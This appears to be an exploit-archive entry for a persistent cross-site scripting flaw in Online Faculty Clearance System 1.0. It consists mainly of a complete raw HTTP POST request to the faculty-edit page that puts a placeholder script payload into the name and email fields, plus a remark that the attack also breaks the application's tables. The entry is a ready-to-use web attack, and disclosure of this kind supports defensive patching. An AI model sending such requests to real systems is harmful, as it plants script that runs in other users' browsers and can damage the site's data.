Online Faculty Clearance System 1.0 Cross Site Scripting

`# Exploit Title: Online Faculty Clearance System Persistent Cross Site Scripting  
# Exploit Author: th3d1gger  
# Vendor Homepage: https://sourcecodester.com  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/onlineclearance_0.zip  
# Version: 1.0  
# Tested on Windows 10  
  
@attack request  
#NOTE:Exploit is also hitting the application,tables won't be available after attack  
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POST /edit_faculty1.php HTTP/1.1  
  
Host: onlineclearance.olly  
  
  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
  
Accept-Language: en-US,en;q=0.5  
  
Accept-Encoding: gzip, deflate  
  
Content-Type: application/x-www-form-urlencoded  
  
Content-Length: 229  
  
Origin: http://onlineclearance.olly  
  
  
Connection: close  
  
Referer: http://onlineclearance.olly/production/admin1.php  
  
Cookie: PHPSESSID=33m58omrnhv63lll47tsfqsvfn  
  
Upgrade-Insecure-Requests: 1  
  
  
  
facultyId=2222222&id=80&firstname=XSSPAYLOAD&middlename=XSSPAYLOAD&lastname=XSSPAYLOAD&contactnumber=952749822&email=XSSPAYLOAD&designation=Parttime&department=CIT&campus=Talisay  
`